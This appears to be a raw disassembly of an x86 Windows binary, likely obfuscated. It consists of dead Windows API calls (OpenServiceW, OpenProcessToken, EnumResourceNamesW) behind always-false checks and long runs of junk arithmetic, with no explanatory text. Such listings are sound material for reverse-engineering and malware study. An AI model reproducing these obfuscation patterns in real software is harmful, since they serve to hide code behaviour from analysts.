mov dword [ebp - 0x38], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x40]
cmp eax, 0x6e5c
setge cl
add ecx, dword [ebp - 0x38]
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0xb44]
call fcn.10015e06
or eax, 0xffffffff
lea ecx, [ebp - 0x9dc]
mov dword [ebp - 4], eax
call fcn.10015e06
mov eax, dword [ebp - 0x6ac]
sub eax, dword [ebp - 0x6a8]
jne 0x1002f97a
cmp dword [ebp - 0x2c], eax
je 0x1002f97c
mov eax, ebx
xor ecx, ecx
cmp eax, 0xb91300d3
mov eax, dword [ebp - 0x2c]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
test ecx, ecx
jle 0x1002f9aa
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x6b0], eax
je 0x1002f9ac
mov edx, ebx
mov eax, dword [ebp - 0x54]
xor ecx, ecx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x6b0]
push 3
pop esi
cmp eax, edx
setl cl
mov dword [ebp - 0x38], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x38]
cmp eax, 0x3942
mov eax, dword [ebp - 0x2c]
setge cl
xor edx, edx
cmp ecx, 0x3ed8
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x6b0]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
mov dword [ebp - 0x1028], ecx
mov dword [ebp - 0x30], 0x5f5c184c
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x38], 0xdfa01480
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1002fa4f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x15f8], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002fa3b
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002fa64
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
xor eax, eax
inc dword [ebp - 0x38]
xor edx, edx
mov byte [ebp - 0xd], al
mov dword [ebp - 0x2c], 0x7f3e76e5
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x38], 0x3b882169
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0xd505
mov dword [ebp - 0x28], 0xf259
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
mov eax, dword [ebp - 0x2c]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setle dl
xor ecx, ecx
neg edx
cmp edx, eax
setge cl
mov dword [ebp - 0x38], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x2c]
imul edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
cmp edx, eax
setle cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x28], eax
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002fb20
push 0x2310
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
cmp byte [ebp - 0xd], 0
je 0x1002fc0d
push esi
lea ecx, [ebp - 0x834]
call fcn.10015d9e
mov dword [ebp - 4], 0x10
xor eax, eax
mov dword [ebp - 0x18], 0xfffffff7
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1002fb6c
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x834]
call fcn.10015e0b
mov dword [eax], 0x4a8c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002fb4e
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002fb84
push eax
push 0x26d3
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
xor eax, eax
push 2
pop ecx
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], eax
jl 0x1002fbf6
xor ebx, ebx
mov dword [ebp - 0x48], ecx
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x1002fbb8
push 0x1292
push ebx
push 0x1bbe
push ebx
push 0xbc5
push 0xe78
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp dword [ebp - 0x48], ebx
je 0x1002fbc0
mov eax, dword [ebp - 0x48]
push dword [ebp - 0x18]
lea ecx, [ebp - 0x834]
call fcn.10015e0b
push dword [ebp - 0x18]
lea ecx, [ebp - 0x834]
mov esi, eax
call fcn.10015e0b
push 2
mov ecx, dword [eax]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [esi], ecx
mov dword [ebp - 0x48], ebx
dec dword [ebp - 0x18]
pop ecx
jns 0x1002fb91
xor ebx, ebx
inc ebx
or eax, 0xffffffff
lea ecx, [ebp - 0x834]
mov dword [ebp - 4], eax
call fcn.10015e06
xor eax, eax
push eax
push eax
call edi
push 3
pop edi
push edi
lea ecx, [ebp - 0x84c]
call fcn.10015d9e
mov dword [ebp - 4], 0x11
xor eax, eax
mov dword [ebp - 0x18], 0x6aabecba
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002fc52
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x84c]
call fcn.10015e0b
mov dword [eax], 0xfffffffc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002fc34
xor eax, eax
push 2
mov dword [ebp - 0x18], eax
pop esi
cmp dword [ebp - 0x18], esi
jg 0x1002fc91
push esi
pop ebx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x84c]
call fcn.10015e0b
push dword [ebp - 0x18]
lea ecx, [ebp - 0x84c]
mov esi, eax
call fcn.10015e0b
mov ecx, dword [esi]
mov dword [eax], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1002fc5f
xor ebx, ebx
push 2
inc ebx
xor eax, eax
pop esi
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
jne 0x1002e689
or eax, 0xffffffff
lea ecx, [ebp - 0x84c]
mov dword [ebp - 4], eax
call fcn.10015e06
mov dword [ebp - 0x30], 0x8c45cdbe
xor eax, eax
mov dword [ebp - 0x30], 0xb2cfb631
mov dword [ebp - 0x30], 0x210b999f
mov dword [ebp - 0x30], 0x15de05da
mov dword [ebp - 0x30], 0xfffffff6
mov dword [ebp - 0x30], 0xfffffffe
mov dword [ebp - 0x38], 0x29ef
mov dword [ebp - 0x1c], eax
jmp 0x1002fcf8
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd74], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002fce7
inc dword [ebp - 0x38]
lea ecx, [ebp - 0x864]
push edi
call fcn.10015d9e
mov dword [ebp - 4], 0x12
xor eax, eax
mov dword [ebp - 0x18], 0x6aabecba
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002fd42
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x864]
call fcn.10015e0b
mov dword [eax], 0xfffffffc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002fd24
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jg 0x1002fd7c
push 2
pop ebx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x864]
call fcn.10015e0b
push dword [ebp - 0x18]
lea ecx, [ebp - 0x864]
mov esi, eax
call fcn.10015e0b
mov ecx, dword [esi]
mov dword [eax], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1002fd4d
xor ebx, ebx
inc ebx
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
jne 0x1002e689
or esi, 0xffffffff
lea ecx, [ebp - 0x864]
mov dword [ebp - 4], esi
call fcn.10015e06
mov dword [ebp - 0x30], 0x8c45cdbe
xor eax, eax
mov dword [ebp - 0x30], 0xb2cfb631
mov dword [ebp - 0x30], 0x210b999f
mov dword [ebp - 0x30], 0x15de05da
mov dword [ebp - 0x30], 0xfffffff6
mov dword [ebp - 0x30], 0xfffffffe
mov dword [ebp - 0x38], 0x29ef
mov dword [ebp - 0x1c], eax
jmp 0x1002fde3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xf08], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002fdd2
inc dword [ebp - 0x38]
lea ecx, [ebp - 0xc04]
mov dword [ebp - 0x58], 0x7f2f
push ebx
call fcn.10015d9e
mov dword [ebp - 4], 0x13
lea ecx, [ebp - 0x55c]
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x48], 0xfffffffc
mov dword [ebp - 0x30], 0x92f644ac
push edi
call fcn.10015d9e
mov byte [ebp - 4], 0x14
xor eax, eax
mov dword [ebp - 0x44], 0x415f
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x38], 0x45b3659e
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002fe61
push dword [ebp - 0x14]
lea ecx, [ebp - 0xc04]
call fcn.10015e0b
mov dword [eax], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002fe47
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002fe77
push dword [ebp - 0x14]
call fcn.10015e0b
mov dword [eax], 0xe55459ee
inc dword [ebp - 0x14]
lea ecx, [ebp - 0x55c]
cmp dword [ebp - 0x14], edi
jl 0x1002fe66
inc dword [ebp - 0x38]
xor ebx, ebx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
push ebx
call fcn.10015e0b
mov esi, dword [ebp - 0x58]
lea ecx, [ebp - 0xc04]
push ebx
call fcn.10015e0b
push 2
lea ecx, [ebp - 0x55c]
mov dword [eax], esi
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
pop eax
push eax
call fcn.10015e0b
imul ecx, dword [ebp - 0x48], 0xfffe
xor edx, edx
cmp esi, ecx
lea ecx, [ebp - 0x55c]
setg dl
imul edx, dword [ebp - 0x44]
add edx, dword [ebp - 0x44]
cmp edx, dword [eax]
setne bl
xor eax, eax
push eax
call fcn.10015e0b
mov ecx, dword [ebp - 0x20]
xor edx, edx
cmp ebx, ecx
lea ecx, [ebp - 0x55c]
sete dl
mov dword [eax], edx
call fcn.10015e06
or esi, 0xffffffff
lea ecx, [ebp - 0xc04]
mov dword [ebp - 4], esi
call fcn.10015e06
mov dword [ebp - 0x30], 0x8c45cdbe
xor eax, eax
mov dword [ebp - 0x30], 0xb2cfb631
xor edi, edi
mov dword [ebp - 0x30], 0x210b999f
inc edi
mov dword [ebp - 0x30], 0x15de05da
mov dword [ebp - 0x30], 0xfffffff6
mov dword [ebp - 0x30], 0xfffffffe
mov dword [ebp - 0x38], 0x29ef
mov dword [ebp - 0x1c], eax
jmp 0x1002ff5e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd84], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002ff4d
inc dword [ebp - 0x38]
mov dword [ebp - 0x2c], 0xad59
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], 0xa3888451
mov dword [ebp - 0x20], 0x90aec51
mov dword [ebp - 0x28], 0xc33bab72
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x2c], eax
jge 0x1003014b
movdqa xmm0, xmmword [0x10007e70]
lea eax, [ebp - 0x12dc]
push eax
lea eax, [ebp - 0x12ec]
push eax
lea ecx, [ebp - 0x13d4]
movdqu xmmword [ebp - 0x12ec], xmm0
call fcn.10015e1a
lea ecx, [ebp - 0x133]
mov esi, eax
call fcn.10008f83
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x620]
push dword [esi]
call fcn.10015de0
xor eax, eax
mov dword [ebp - 4], 0x15
push 3
mov dword [ebp - 0x2c], eax
pop ebx
jmp 0x1003012f
mov dword [ebp - 0x14], 0xdd2ac30b
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jg 0x1003012c
mov dword [ebp - 0x40], 0xb25631cd
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x38], 0x2ca8e1f9
mov dword [ebp - 0x18], eax
jmp 0x1003010e
cmp dword [ebp - 0x18], ebx
jle 0x10030030
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jle 0x10030004
or esi, 0xffffffff
lea ecx, [ebp - 0x620]
mov dword [ebp - 4], esi
call fcn.10015e06
jmp 0x1003015e
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1003015b
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 3
pop ebx
mov dword [ebp - 0x24], 0xc964
xor ecx, ecx
mov eax, dword [ebp - 0x24]
cmp eax, 0xdce5
setge cl
xor eax, eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x18], 0xeca4
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x44], 0x36d0c11e
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x28], 9
mov dword [ebp - 0x30], 0x842b4cf2
mov dword [ebp - 0x1c], eax
jmp 0x100301af
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xe88], 0xc43cc9f1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1003019e
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
dec eax
neg eax
sbb eax, eax
inc eax
cmp ebx, eax
sbb eax, eax
add eax, 0x11082d9b
neg eax
sbb eax, eax
add eax, 0xffff1d7e
mov dword [ebp - 0xe88], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
cmp eax, edi
setl cl
cmp ecx, dword [ebp - 0x18]
jne 0x10030201